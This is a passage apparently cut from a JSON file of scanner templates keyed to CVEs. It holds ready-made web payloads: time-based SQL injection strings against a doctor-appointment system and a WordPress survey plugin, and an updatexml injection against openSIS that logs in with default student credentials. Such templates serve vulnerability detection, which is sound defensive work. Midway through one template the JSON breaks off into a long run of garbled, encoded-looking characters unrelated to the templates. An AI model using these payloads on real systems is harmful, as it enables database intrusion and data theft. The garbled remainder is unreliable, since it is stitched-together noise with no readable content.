Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/goforms/menu"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RLM Administration Commands"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27315","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nPOST /contactus.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com&comment=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&submit=Send+Us\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"Medical Management System\")"],"condition":"and"}]}]},{"id":"CVE-2021-24762","info":{"name":"WordPress Perfect Survey<1.5.2 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(4)))HQYx)"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=4"]},{"type":"word","part":"header","words":["wp-ps-session"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-24176","info":{"name":"WordPress JH 404 Logger <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/jh-404-logger/readme.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["JH 404 Logger"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41691","info":{"name":"openSIS Student Information System 8.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nUSERNAME={{username}}&PASSWORD={{password}}&language=en&log=\n","POST /TransferredOutModal.php?modfunc=detail HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nstudent_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5\n"],"attack":"pitchfork","payloads":{"username":["student"],"password":["student@123"]},"req-condition":true,"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"bo5S&8eRaM3x;e
zU4aT#E#5YN8|uEuD1xxJQZC=1!?9~H`eND?u9vi)b8%j@{EKiw?U}%HbI|R&kAH1Y
z+q>lA{fJ$fzy*&wG5(dtEn2lc{bOfj9{W;7(!j4yaX|$M{IsX%2go1~(O6jYq2b5_
zAxV!R5BJw%r)}9XgwK`>0p}F1mqkam25OEU;PO~fZTtgp$?-@Amv>M2x1-msptt_38_yXXd_|>aT*^GV%?ODDk%H|=^BbP%4qgsl_^@5BjT!>aY)Tf
zA(DNOFTo|al8NLxOv*&;0J?-FN%!3E&m=PkQss-*=E#AIG}anCDJTIhTz{i111uje
z#|`hu8;`QJb3_w`WnU|&XIOH2;^%{ge3cV_>~r|>ebaNT4)*9J=ecrQEy092$z-CZ
zkt{C?IV}mXBcbK}JHN%VQoONXVPk6;l7p{wS9Y6_XV`I9WN~|s5o)yKzTDeTj-QAa$x1r*={1K{kULNdakz4N&w1
zq}~o+R@feBPZm{&25w^0pUNPp&w(76T<~FPThacMR}L%IWI6kVZu&ioWe=c#tvzti
z0C{Zn9DfR$)g9UHcFNhm1`etrtVo48O!73>1LxdDJ(xgIn(P0)L_BNm^>|?nKTr$T
z)xlS2(TLAtyJudB_b(!gf#a?o2s$57e=VOJ_tE-5{%M4Yc{qt9*8s#+taU&$yut$r
zYrIUW0_1~7zg(GN*f^O$(RY)FfYXVozt>4z14kwxP}FrQnaibHSj
z*3{eemtnx0qRTe)oSW@|4g)%2cT7g+}y1&O<=Xvd8QTyRyQ60P2
zmt7Sd108|x#GCw(7{mH^s*m***rm*Zi>YX||?
z2<-?M3I4AOHnnhoc<=y%gGQ69*RbfoHgV1LA|!Q-6gP2>A;?czrRO*28n`r+@f;h2
zDdzXxo7!)4W=#V9Nua-fNlTc0*(Am>HZ%pf3rNbvY4M3t!zDg(MTu%9KJhh+0SybF
zenMzMe0QACdb{wdJ`!e2`}Zn-~sUUuxM
z-$=g=|`5!1(Pe?
zpRRPWbfxi4U7+qtmFfNxcZs`FiK_%xs-;a3Sw>KQ06APgkYhasIi>HobKI#{OkvbZ
zmOG`Znp3*WDV0EWlEuy~kT|x$XbTjB!DwnHO(`Q;JRPtXH}Q#aI+Ss~_$JdxP#kyd
zTC>ZKVa!{l`>-i>Z<-C_z_viQEztNDHnqT?3PmyHRddfPT?Il)DQrsP6Psj}ZhX*#
z(-vrde4>Jw)10PMkZ5(qgwBD&!oq>{Hrx4qCo$Yg8QAuf(w0#vRT^W%
zf(5ITDy6y)p+h!QjevkK637d5m9D#btaK%RtW=_OU;WR2hjlz0jf4dn8^)9@7i>8|73)TV|>jO<`nwWK({
zO-ke2#M{_!6YILzKuPx{R^5noXFpixw}nrrVM06=p1VI2;%7qApV_dTsdVUV!k!6#
z!M6KM=$Vj`6BnNe=`$f^38^;*{j<1PQxuB^-F+6E=zfzuUqMlM5k~fPS!Vwv{uHAW
zf8%2a1*AduNM0$jX
zHAIcEUXb;I97T-P!7bME(4hN&uOerx8?}^=@k)*y9n&6TjA?SfBZ?k^qS)ZvCwpdF
zO#b3wd+d1#|GUf97|RO^m$7N7;HaR8k-`B5#ka%Jp}SA%upylI=Qq(Hu}E0ru;3wq
ze?4E%o>7yN_6~}b?xuItCXm@}cAHR73H6NpbauvCO#XFf(=RwkCYg!aFQ&F+G_&Ial!(NM5Ka=cCvP*cjVpuT{J}6mI
zcre2-=a_*FQm!M`9u#2^Bs7>_P)J}FfB?Y(1_lNOhJ^)2K|w)(LE*sTVPN6WNN6+?
z8VL;q2o4-zNJub{kl=8v!;!Gia5Nf?27&_#`#)jRtK%-gB)~LHjdOkt6BPVn!-P7P
zQJCf3m2@oo6^PFfa@k;|^PcVYdc7Vqfo<+bG^3wSQ+(cc*cjlz;AO`L?J5?Rgaos@
z5ON4P!z|457y!F}0JA_$za$^F$FiaaTg0`Vre3k#Ic5#?*R1EoiKv$1W4y9IlKtflW~u&xE)oga#274;mEMU`tTdxESU!*2j1sQ*siS
zdyMrl*2h@)aiEca-~d1N=Ymj#u`VPeIQAQ#%?UUnB;bg!j=i)He+wcw5|Fqr_;2|?
zak1rlgbtlCR*7c*fHBsW8ZyQjal@D?c`=MJ#u#H|jFm0M?>cI?kO>E6WsH@vGS>h9
ze~bUWIr$LSflp9xD7*K`DX!fA~}V-W8G_H{2_
zchu%;n9S>9l|B36e`m2SGuLAM|LOmU%~=j?KOsZ@N>1WV2)QzU&m$jMRyEeF8|(*F
zjQI|boj!x?UOgn71n1Q0%2irH5-HJ@sLu8z3fq~qq$NwDtJu42EYW32!xELKZ0x0o
zPDvxWPy~wT%7!#pB%u2r(Pv)#h{lh^kHn9>?5O1`@go{Pf1*2ag!dB~4VvsnHlhw+
zFpn+cencZnME4{55#87@*gf}%HYDdRkN^k>M*<1j5mCSa_MvTuUxCQ&U=P5!WkNzD
z!B6}Y%x}(FiWfDM;yNzzB6f*3U*z5_0OFeqfR#<;003CC7XZsx!*|piR+B7Nez81j
zS5FO_N7N%4e^CmF2MH_^6ci21;6a2!A@LvqonAz}fe{Kw(2o~PNOx~K*y%-ddJ&!f
zFQN-rNkmr?QH~#3bXm5DDvRh+ETR!@UQ`j4=G42+@xH5wHXm7bSr*;b{mH9KK-ZTq
zj&wUB8eyp|OReeDDOIH7!;IR_sOd&cXVce}&Wqo^f9dNtbsUjRx5=g~*|zCED>f#!
zrVt3t_ge&;I?D;0s$(c;M9YvZTShnx!x+XHcTprPkb7C4-<~N_U7}v
zbE*;&4Hl3G5xTmw!KMv1=?!eEtC&t0jL=5L!_jEOhB2vV&ev12%xJJ^co2XB6tJN1
z*d;oMf6TdZ#O}=p!*O6pFc=yM2?-KbiaM~p=glCu|KAL9x(hDYbivkiVN=)?G7&N1
zYcjs3%jj$Byr!--6877IX71pSq-y3%!u}hQRLmWAHp!orji>(BG(NW$+jOY#P!30&
zTFz&2p2f?gxUK0jDL(exnog{-roP&;5h{r~fBT`Yrppd&t5;JIE}-EC3y0~
z#yK5891DwGRcs?)EIQnq&qvn1>E3)(nR7{tjFip%^XPU&wGM*r28Odt$ud3>D!|~Q+n{K8;6Qi1N7s8ae#Bum2a`R0Km`N~NQ8q41`gEq6J0;d
zNoP)aga{EFIA8$>EYMMVj$~6XbOu03OjtN@=h}fTNB}~chYJQ`>qjvZy6S5`%DA6L
zTe8F?Kf3(rzSLj*=q`SA@#A>(nGHh9f0Ud^11CDDfqrCBl;|KwUzrpqv)u-cZgY?!
z$I<2;Z5lWYg9#zo;33DUBjg$(pG5A`(N!H`7bE~NSpd6bgGqC)90s{+=1WrN{6$%f}z9a95rfHfcf2T?2
zoS$`_qfv9zab4}zW^?qLqf_I|cAB=M77z_|wxioX9m|I8=tewTx`Dd5I1UCo
z>Kw?9La-+qM2wxtcE8+YJ9bo^Ms;7EgPJ%Sjnjz}x>R*L>6VSkCN{c_V!PkCjFOoL
zF%Oc{UHpS||4DD8tLjha&1)Eye-sX2@I1R!b`HDd$;Lo^bp?HYr2t%H-RLXp
zZgdqC9*)K)EDp!)HmW-PdG;u_A-nn9=wEPi!Hr&UqYY?a;QQU2di~$8oQ%}t1o>!(`c22E3r~j7!Eh7p7Ylx4G
zI?YmDg*EF*b%bY45bko-akn4=hzL?PlMp(JSdak3POn;;-_S)@xI>6L{EhJANA{;_
zg3x`bRpP#2enSl$m*
z@^lD!b)Q$8-x$w_X#IuW{=X^OVTy?1EDDXCW_&YYaojoXKGI;DaV;uawo2KIlijN1
zvcLlfo!=bvkF12%62aDJnaBxSd8z|@SDgpLC_EJAp)e1HQBZg|e+(FCY{Ig@w6?<5
z*RIKaO*TF!SGsRLt!(1u;pbX;PIo0qYvlMEB+{zb^0dqHw}=S&Aa2`%(6s
z<}#P~APh&JS4>KlfAK-_K@ZY>$?~`F8cWH77*omf>|fc9XqP_UoPwefB~zkg$s*IZ
z|FUIAzm~DPm7J+Foz9$TPln6H<$Ukx3f5`XbEeL8o1{sq|De;Gvh^<0#==75AC81)
zEknXT6cYYfJ1P77uMYR71NWwbRiNDFg-&B9sOUporFS
zdRdKQnC|>GVHdx#wmKo?>l;(qud!R-bRxYmjgQL4)N$AxH^#*Eux}dJc23RoY7vjh
zg#BK2^i{>8e`Xpr)7O418)kJS-%NEoYO){HMV61vRLKbTq6+H;v6jk2buk>i7{~e;w(4&D3A(n@{9^blsbD;y|hubs#0%aWjR0kibI&#Dg+zwsfb~
zD5jWV%9vuxC`OsaXJHt{)X``trdm>uheJ`Tm|}{te_h3N71M`OOx1&WP)sqUm@1~r
zR54xfppLtU*@HUc$&6tfoAD-&y9L`s1%!r8&gBm~r`fZ)i;sRT-;>#7rjwaoaI?Bh
zvOnsXF;m8@6PU7S>2$AH$N~-!`_a;cEa0FYEqym(IE!L0Li(#LopC#;6|}S^{Jt$5
z)UlTof9OuXH2S6bzjnEgzjS};?*tXPT#P}IXZHC8x?IrZ(tUF2liqSE#3JGWqQcpK
zp5@Y=4a=pH#d2wkOP#3VQYAu5cO7);V{s&i2*9eP1O)iFbmLkYC11L_iZL1&6Cq#v
zvL}SJSIdZPsSO@PJb(g%gEox5ARL;+CGJc2f8TtZ%jsNBm(!&?ur+uPVWGf+hzg4b
z5FDoY5HlA~mHnWHTsv^k$Oe#?_-PsPvyoqQ_djDgeqG*8bD9{=;x68C*N&h6pJ$HW
z=J)kygFFvaKvE$jb!9UKN$8?UC8hpL-Ivd7(uy)l-4$h&3_>n-r@PdP1}upReMjoP
zf71_o=pD3=MzroY=C@Q@WM#%T_n-gQvilmJ1kP&;rb0;Wgknqm2>UxGR``6A6w1Fz$-je|~kBWC=%>)NPj3RhF`1-8GiFtf4U7ha`)o
z?!}u;DVB0UGAzhuSda+`QYF+pPNr<>;zH7(3tfr3gk&|S0S&s)_DonfSS%tODC{qE
z-Nl7oTwLgdE??+{GLfPxwlGPG>a<)Yb3#!q6rj)v#i*;Vp!mG(=bv9@`m!my4VUA|?Rt0NCNE~7RwSUQiT^H@4P
zmw#s$#B^OoRj2q~F5|yROL}rNSy7Ww#y6wNsH-bm@~A6Yau-u;=DP(10!54sj;Hj0
zCgI^&r;ew52l_iGdUSZsso{EFf1Gm)cjcT%bDB$;(
zG23@he`mu;zFpKcE$kx3{0Z4n=#uX=YoofTx{f5O>#0SZTGW*^sYQo%f2T<;wiui8
z?U{-aThwPQs{U$G7t|TA_LC>-P9{(6mhMfEdeCDLpEzOAYyc!aarMV1%5SVIB&--d
zz+hmZk>F?~G!h(*1c#&1Xe97s=Zb=Y!sGFHI2;a#!?B?7a5NeR4jfQWcsvr80|yQq
zIB30R{#J1_K5R7%;FbI2=nZsko>tEDH+D!a`$NFks-ZI1n5-aKJ%V
z6b1tZ7L>-apx|gMjYi|)Xe2BNjm4n=006K(#(44?CKC-l(O`S*e>Fcw!ja$@05cb#
z_zMaTZ(wTXvT&9b2I#7F{N2GbgBOM`8hz&4fm#C@@mELY<5
zlBd=v|HP#^YhjDe`}FD06C3&yH9k=vT=GK^wSf=gMBUjt`B_t)?5H@|QKPnw4U5{a
zs8M%PQJrIpin>q5e}0IgI$LBv4je2RC{*_qdyYG0x=hmLIrcRF^<_tnx~n@|!f}aD
zY#jA>G9f0rVNuyw0``^y2khu^-*@8QiT^qKH*LgB)a88}b)&|fe4*r$>$2p!4G|zH
zOD;Q#%7o&C9CFBYUrtxq&vf0{u1$Pbhj({{{<7or_TBZ@e*)Wi$nB)-1iiUwc?@T9
z7w@?1$qm$T#~3qnn(F^7T_F!3L|9NjP@U0rKe|G1utn)JMzEt#$>Q13VMhqC|EC1A
z9R-q~r997WN~dThj99R{qPu=X;pi$I=*rM_8zvyUJ7>g>e*p1`3j|$?xo-UBu0K~tl&h1(C8Au{brpL9gasCWAknb7rh)L#aDjT`
zGR}$e(8V_fHL^bhRhrM@90b)lXrXosTIr$AhYwjw64>PP%8RhyVT2xs`m4-gJC_P`
z2-QJdX0Jir26dq?ZpEIp-K%^
zVj70COvy4n5rbioq=sq$M*$KX185i|I0hi~1C<&o{P>YK9|#px6pR>ZG$Cj68HWs2
z_kA6P3LT!4r>lxBiuG(P(E!L~!d?7C%3j>X@8pS#oynU#$DP7xjBcr5n>drno4m;we(bhrT283S#!GDLr?!LmJoy>^i-Ko=f9^3kAIBwPi12WSgW9?Ud;YM
zb}{~^>rDA{8(36KI8#1-#Ha0W)FOY{(x0|t?oU_xY>KTr&|&ikgu}!HHjCXwUv~5+
zzi4#pn#INZ=}MMA)%Dn<_mm+SB&F
zk@3Ie6TrR6y(vKiAtWjkU=hnDh2(io9LU7;E;xZG6Z$-T^EprFbDF0+yTJltLRpB4
zh6ol6AV65Is9K3{JyfJsq+3GDM^B$luAWcW7;Tz5;-@?RdpdM6rR&Cqf#E0$8HzN?Pe1Zg2e!CVi~M$KG4kW5
zk)OU}NGHvkuz)}?h0
zN5M)dpTlq`5&m@b_^C4Iuq_*(=#a2ldO?Og8$&7}9z--)JcwwRX#5ts#xG+0e}3b9
zzpn9wuH#N!y33cag{x8xq
z`;PB33*#i-@ps3agp%vdxZ}mA2sWp{<{+Q?5-5QZ
z*qpj+x)YY&G^g=l<}~9I*;D1%QZ+Y`ELkcTP|YpuCOMkgH7mOvNUhGwX{_zYc9W@NO?f6)0JGcZj+$y2b-13n;F9xVtg$%2s)
z6axlG{r~_r?t}oaf9Sp;cfilMLjuKSVHf&5^=mXzDn6tC!2ORu!Fv}Lg2VI`0kG-ow3
z6v7DRfeHwT1gxF*qU5v&HrS-2c6!prxDliYxoYWKQZ4DmhT+~con^XVE>RElazd8$1(Me*05%XWH2&t20L
zhF*KBCFx7Q_Et~GO<0=|juA$F1N}uGQE|_r^HQFd!!En1&W4$mB&n|I
z2&yA2NB}~2yQN~L`z*Bl{nYe@4Qt?1%o5*S2u0ehAWs)JaI2gfvP`
z!}~vJ+N5c+Wp`wXcsHrtf5ay~(aq;I3(^QhNF^p5usANk%xShlJTz1^pim$}3Os~G
z!vlo^8lR{RA)W1@0uW*dMGS#}R03&(w5Pv~57Zz>w=o9kva}$mVIn>e(g^0dHH>6&
ze{^`VBxz2@2w1Iwjakg&w1<)6&Z*l?y|SIevSA8Bwdhl$yKmG?f$#vqLg8+M-fYnH>pc=X
z9Bq6LZG1Dnxg0Xw_~ynpH@+F)jBhrae{Fp8O~$eDO^t6V#e{|G$2PaudpI1*>YA2@
zQj@gVB&|u>)Rijzu~^l9{QwE%$HFIy1oAU==hRcDo>Na%E&crYUopQe=J!+!ea8*@
zYYc(|3ONQi
zq6>^(Vf4y=(vgJT#ks1bjj!i(B=k(WLy1f6qXQf|vcuvR9_dOFkq
z$?^%&WyxgzWb*uOT)#r>C(nn@Q=+>ptIgHs^ACAm@_cPPN_-A%4$p5Ip4v1#_er0x
z@Bb>D=l=h7-9P^-agbX7f4c9Pi20A?>qhcf^7SLTn;?-abPHQ7k}}u`mZnjp~u(N_@;Z4j=MVk
zc{0tLF#`QxvRv#UnGuYf2dO#++bby;IX>%i6!G1wY@0D0Km=OGG+1LT*3CTrQ^
z!-$RT`Q6u^q!53P=KsS-bdJd;JJaNR^z#
z7(e3Pe44WshFRDYf9SMlRMS^~Uh+rs=Our>ad3_$1wnlJL(!~3DkhR44Jf!7z{V4@
zA&f|Hz|DXFjRcb$P)v4+SVMfkNRmI#tYXl57(l?_&p)rx+w=RpbNzHb&sHA~M4w-t
zpN(!@8nlxPi8*&t!+nVEOZ{MR2MPHDo^%G#GGXDsflanJe?jzP0dYik_!13(IN;(Z
z2)?r&dt`r!20$FJxQmCF?H&i>1r>;3#4?|yQ7tWu6A~1jnREsa`>RRC40^Sde6uN+
zV;?~QlVX(4GQH>hCea`}l26yYiM0r0zdCNx`+q_Y8SGccnsgZKSNEU>
z+x6>0belOye+mW$sIu30AJ6o=XXmd-kmadoygT1bV{WJJXY8Xj2+xgiZ)zZ4S
zJWDpV&avfvi%n0xIBWk`C+z3`tmns1N~S9(j@Ro>_0JO087%9F1FO!cloKiBsaQHi
zGa~>100R*KU@?M$Fcu2M;y_f@3i1?y0$!A8s$N7Ff9X*Y1esFE7?BYG0001h0DuNY
z1>6H@Rxmnx@T*7$PUpc@Nu(G`{*P1`tLd}$Uk_G8z=~$TZk6;t-vXAjgX{mX*gg1F
zQjzCEUXw-m7iz`DvBW4sxVcAvVN`BDLsQV+{yU2ioO`3Kkj}soUJ$e(6nqvNq4|G^
zN83Bff3)HqVE+T1ocMy$NBF7To77N3wj7$^`&x@*6Z2ubiMKah@JHCVrDx42OSw=I
zF*8R73+h_O3=!e7V>&50*IPJzR?{1c9)bdxoWV*!qH~*2{_fJEg-H)Uro3sQq1QG{
zRB6G+#{+!gN>L@4*F5+U0OS5s9x|vsWig~terdX%tpdm-vpL;-vCFO#I_0-%`
zVOu`=178iwd;QmBQu_zcTJr2&&j?M+*P^#x{sTOX4wD}50JM*2f{#e3TLB!u{NZ%-
ze=1;fGqwz|Q$%s}5aV)DD++nrUcVKk#Un?~1#B*4)z^0-+P6pTQ3nX*MH|kMm@(T%
zXL8gO%BpI(obfh+rw#IXHd>poHOF4Wn)P?p&z13D&dJbH0Kwo@GFI@MKg!R2e^A_)
zH*co7$ip$sI;tTP+WY}?>JF3d>nlVKf2O`e21m9}!)1*1oN;M|SUk}%<|7RD@h`{*
zPmB{}GW7m8e~q{_66=>rF&@f|MUq>HoUX);O|QBoI0$&hGfHsy{I&hr7~sTl*Gl`e
zdd?Llr&JU>0d7d)FoDO39D4x4t>6OIiim1vRN<`$z+ier9!mw_gtC);wMHRXe>q4q
ziN>lK8${e|gxrDvFwAn5rE)6jYKg#~Jo`6H$~hopLwPPW3L1phc^vjwhh4~wL{3ie
zu3&F>Xw{_Xo@?a2`{fr=$Q)L!(I9Jk9*vPM@-`nzb*X&G_JIACRXKWJ?*S9|qanE}
zdqa5zx{c8wVXHR|PAcxZlL(~c;`t5e>QWQ}Gf3?JRlI1k(QGYF)!
zZF-U*Ug15bu~mim6XWN~gG-F;*Z^IZq~ai_Ai4r#J|(N>5R>4q3jhq4f56WPctxU=
zMhFImeR*607HeC4eV@(%Yazdzavpa~`CClWJ(Fbi^b&U>tevo;a0FhDq^{?_@J?{>{A^H+S=H
z=I3W*T!8Exe8%7_{@2iufAC_IYN+1Qp*)moZg_6&i;r3Pyb{@9X}-OdfH0%7E8`z`
zi^{7mZ_u)K$Pyf;l&h$XFd!u^o|8
z9A4)vL3Uv+4yIyrD6IN}TREFx9Wq7MhCmSbo!{m2R*DCBkccbz&6d=$G%z3uqfXx1
zf7f)4k0V^wKals2aK-d-1~(sp{0JmSi~Y3F%UFeK3vTP(HP@~ZIQkXuZ7Y?s;PDPC
z06;Nbk9@hu1jZm!e>|B2mQyzgldTQSoLJ!zkEjrUdj$&9tD2@l&0e@o|GVL9@
zu^nnL@9cg!1LR@xX{G!VwgwmZOEM3(Mz*9p)I?7c_Ib>$W7s^T;TemdasCr?eZ9AvZtZJt{0Tb#EQLC;>s
zAh_&&lpGl@!cw1WMKYP%IJ*MgJW2^u10+FEI-2uw_f-)@2-h*ovh7h-bfc`cJVa<9
z9VJwnf3{Q?D7@*T*(?P_rW^h{0?9d#s>BiLZgl#NH;+s1Qv(7D$ViCINgybl^@nY)
zIYMvm2G$TeBZ!rHcV2;*fLM2xW{SvsS0x_%b2XaOV>k|L4oV7IP31*z4dgG!Lb
zqa^+0RB3}yS(O^V`0CaA4o)v1kO~tpBqX1xyC2MN3S9h7M59|skmLM!j!xbkP!_~;
zfZHnYX;2}#zLiUhEtp!O<>}B3dT`c%9@s1U-=_bVt
zf3w0i0=|EC9Ti(*7n9M=INI<@tNvf4{C;XVTjY2_Z$4CfW;Zh5&s4
z`J?F_%toKzA0Cs%zPFd*rP1!N9j_AZZKnX1C3VT$xEC~=z99xFK%V@7?3sbumTaxSkkr(-LJSmhqsM~j)5
zwEzbIPBa-?(y;{KDKsJxT8kb~Sn(`!X%0%-qk=XhCRe6pQMolDr4z@12o^{8e@x27
zk2}aJ${%D0J`@+qGOTo4w~I#(oOpV~>9373Hz3(6Z#P3VYa>c@fBeA!a{5ElSP{hC#nct?ud=cYE
z_xAL<(DPbYO#QCEyDkiiwo0XQ+ICG(Zy<|8H*%@Ko`jOlsOC@w9oVHI&!AVEWDJ=1#B!CbJg
zTXArQ&79(i<-p1U$3^o)?h*hUL=_9ABSjst@Rkb)x7D&+xR71%*WUCah^eoo|jn9e;#v3mJBj)
z==7(OoTIH}7tA=PFPuULwJyYSAEWMj3W$Pn)Z%TWMWBh{<%zco*BdT&Tz?K*v|35|
zG|1342R8q3f{`5n@&Q@`j}kO0YRLLIDr58kB>~igs!@KEel4u=f1iv6_PcH0T(+Gn
zX|1Y>>}YL=*3a4d36w{V)6)WtFYjlOJ9Z!3%DCHZ$NQ9UYS$G@^4uBC2?GcBt%o6+
zb+>PC$By}V*MdJwAGHcAk#Gw<)gI9R*ux>U?wh=}IyUZ{mwqow(VWAugYj=taDF%n
zkjKxWYt;DVn;h)bfAa_832!&gK17YU4F557T#6&X=q0!c1~rct-H;7GFR5G$v$`=?
z>2_f?p;M-1ECck;en({3JL6Qr{Nuw4x(`CzV2laole+>6ip0SW90>@Ehw$UElRqAN9}pa?$8>|e>?ova0#cy7$q>Jce^oUkO{6x|)A(@%Yx_c?
zB*w7ps562MFDo!aA(*U+2glEFa%u&Fg#!iP8AZh@^jI}A3ry_@q6>bB;sq*D$V~w4
zTx_z;on#3v)!=mx(PxYKwQ6w(a-j~yFY1GPaE8uRXD?K8I(Qn4Y6bP}@m@AFfE%R|
z90WuZ8>FlSe~n-G_49s(ad24*nR{>7^N-4vA>S@nXWb_ew|G$SF-W{
z5=pE_RYk!f!uU9IoF9NGyF+?J^~z$6t4GWRkSr^@e`?uQKI)t89Ost|hG77l(9(At
ziC?o+7Ql2IZ(FgCz5c0VUSM_=?3>qd;8>Wbno2ZunqM^t9@fAGPTZOkb)TU_9zsNHkxP9brjAMW52cIA_8~8t
zXNlgFe=sLwYx*LE#f+=>ft7v;#I>?*|-2SA1)Q9NdHXz-?;YnUZUbk
z8D&AxK3QLvTt;ZSt+C*AE(n?8-=r+btE
zKnGy>Lol>1){iC^x#TVW6VKQR&7ckmB8xHH+30DmKWf
ze@-)IOJz=qE}=T*+h;A_8|pnAP8a+LSOXQmBv_ON&LD|D6c18;gexK0ge~PoauQ#~
zmGlCw2mObr{sxmtiB}lP-CeZs?>`yY;P#p{r^#gw!%9k$u7`@#Q0ruf2-=arKC)VC
zco;M2RMlYRGV|F(UDxMpT$pmy@N(B#e;##TYLCuX5MeW}r}yLzqv?O-+yb!$&Z&f}
z{1s-0ZT0u@TOnPw8CDH75%p0bHb)PvDFLOLQ)bSTj5}*u%jj@_YmX#ot6=MF02h!K
zcB&UuY0k#xwXm21e+(!vptQ5{JYz`t#2~4}ifi^@k#T&CDK!vBr83EM+)Jdwf5aEv
zde0#$N+ZV5lWf)LSjl;Zh&<#+E=62Ke+%(>)4D_WC|WE)K#WaAZdxU9A{Ab?J%>i#
zSS9a1VNaWW=ekEdyE9aUEee%I%m<8{+P8=>-8n#W&g2}5F;R%XVF8+_STpnVUUMxTA
zA&MYLwFQq}woxbvO84iMHzM_E0PjSvXS}JV;0RH+a`@@;E37H~^5g6-e;HX1It?A`
z(f&9JAFFWcwburTrysXfFO7m8!TSZ|oGVB~Wq*xnn);jkH@=iTUEY9gfM((JPUa4I
zD=3X=5^so0Fap_DC=T7-{_Wh{$V%#>kq7RfJJ63NEbR=}&v+T=Mn3;92bHUM)7*0N
z9~|F|zU^6{gFO#iL}x)Ne+w!NH{vSH+^7mT{ZuLxhQQow#Pu7Bs&}#Bcdso#ZAJNz
zUx$1`MmoP0-Gu3oRuT9BBPt@uKfr!gj=-jtV@NR-Sjh`a3Jh$6BZyt7XW|%z>90lX
zF_l`=&Oq@ZAYqNxs}AWJ@Sx3$eq{TeXTdjXSZE7fV
z9YCw7G*Bc*s7`;uz`WSt|3oT$iqnW5TC5>W`4%QSZV`l`p2aTg-;5}AMu5TtfpPRz
z)6*;5^3$%pFVExkgGP7g)L;_2kcXzPSJCysm7@Ia3H!Ico8Xlc4|IbVf!@+x&GN<@
zAv&-xXAG!;IA;Celm9%eLmdw4KP$CDSq2ro-{l?
z^#VjbdNe~V?0N!Rnc)PyMtgKwVVmo-w*ksH0JnNE9>ipcJ8PKX%=WN|k!;d*fkez*
z#up#EPR34{d~D(omy%~x$qYR%Hup#Pr1}D@L+K(mBbKWFe?T7=?@8vin8bLRWEoF<
z`dnk~S>sFSPL04dwQdNuVN^z2!?Oz2Su;QX&dN_elTNy(=;t<71U14LXv{D{Lx$H1
z*{i3qiaU}#4@gd0fHH+TLn^3Ni_nJ3M^6GQBL`PW)NMw>{~i51z&GY52C%b`0Zfj)
zu1qU$ViP%8e@`2gxi0^K?@KhBtYOfASJvNF)vSz|H*&YV7ajml2+TW8xYNhPeZf=^
zD5#EJ3E#^m7tfpneAaI$^%|~;ybtb
zTbgeEeJ^N`tI^bCD4WTuP#1zr`rpzn1p=)ws>Ggp{oWF}{yEGT%w4g5zAs^kDqv;z
zGTglze?kK_eY8h46dRDq(p8&^{lsH(f}U_nEiN8SWNYM!{zxMxvJ*mxx%sm*t~T%y
z@O$5traCo`0fm;LD|gUgVmak(Brznz-b`^%V1|C>N62`2GZ9%FAMz*e2FF0jt5Mhx
zcbhS|Dn=_Lmz1HDk>shK7MWW0`)qGe3te4ve~2WOKp|3>KqQ`ooWEqzjvzK(EgQC;
z<_z5?y+ujg*&uI)x+L5?y&Yly-!PXqdj1KG_hm5djwCut_M(F*t6usk9bV6njFrBa
zv@XR7M=5mh`_{Q5p-hWasW0JV;mGPg*S3?He5{kXk2}!58$ChRl2q_aJ(6w3v`;Fj
ze>(3DD6T>7|KNDdrjsc!bAupl7zceasb?c!@>k*WMQJ1}gT137r@rU-2TyKh`Gt$}
z&?ikcu7D67_v{%X4o9S$s7eq`%H1!@Dabu~Pzd!^<89D57%T^coK3_0qha@uWpF4O
z^y>z(Z!mSteW28ZWIib6x&`(RD)}H|e>&6%njTN73e|u>ajuvWH7XUSo_|&
zPEQ1z5IZXe#q~qDGn1;ZEygawfMpna&iZ6JETH{5#VOaQx+o^18Vvm5bXZDFc;rf3
z+rwbWw;w8Ac@bKmLsj-SQ<%gvf8O>`L8-Zn<2*sg27eI8$AjPf8lK%=WEU;`sf@>q
znbiT24%)~oGb%^E)RRpsG?eBU{w|2YGJ0d7Ci*d$5I{P9_?H{p
z2p6H-0`l;x6;{!%Wc#9y>2ww%ui-S7}6-E#7He>v`{?>-eVv=xqcS;&Ka&z1H9)3{mBMZgcR
z^_F;KKcOdr<_+z_k(?G@TF1(cwRA{nb<%j^nJ<
zgH%d*U?uz*_l5J}f8y98G*ebm5wU9~nRD@m(QJ}$gn0q&fz;cOCI?c%#>eg3`p7dOGeTGHkrPrW81u7{%3c
zXh`H>x}J)Y3~vdw`SE_{0{M&ZVYGF8>)3j!<+U(#^TUSKy>9p|0Z0bx|ss84r<7P+GX1ogZ}d%4B;;!E=PJNbnq&nXw&-
z`8@qr!t&{He|uK$dyNPKI4EWBogc&ic4XMB-qUDA#P*I
z#u)|)hkFIaZMw_NCd+tb%^Q$EMB=k0Oj#w8zeB=);zIG$$(5V}0XEVN_1p{B+U&jL
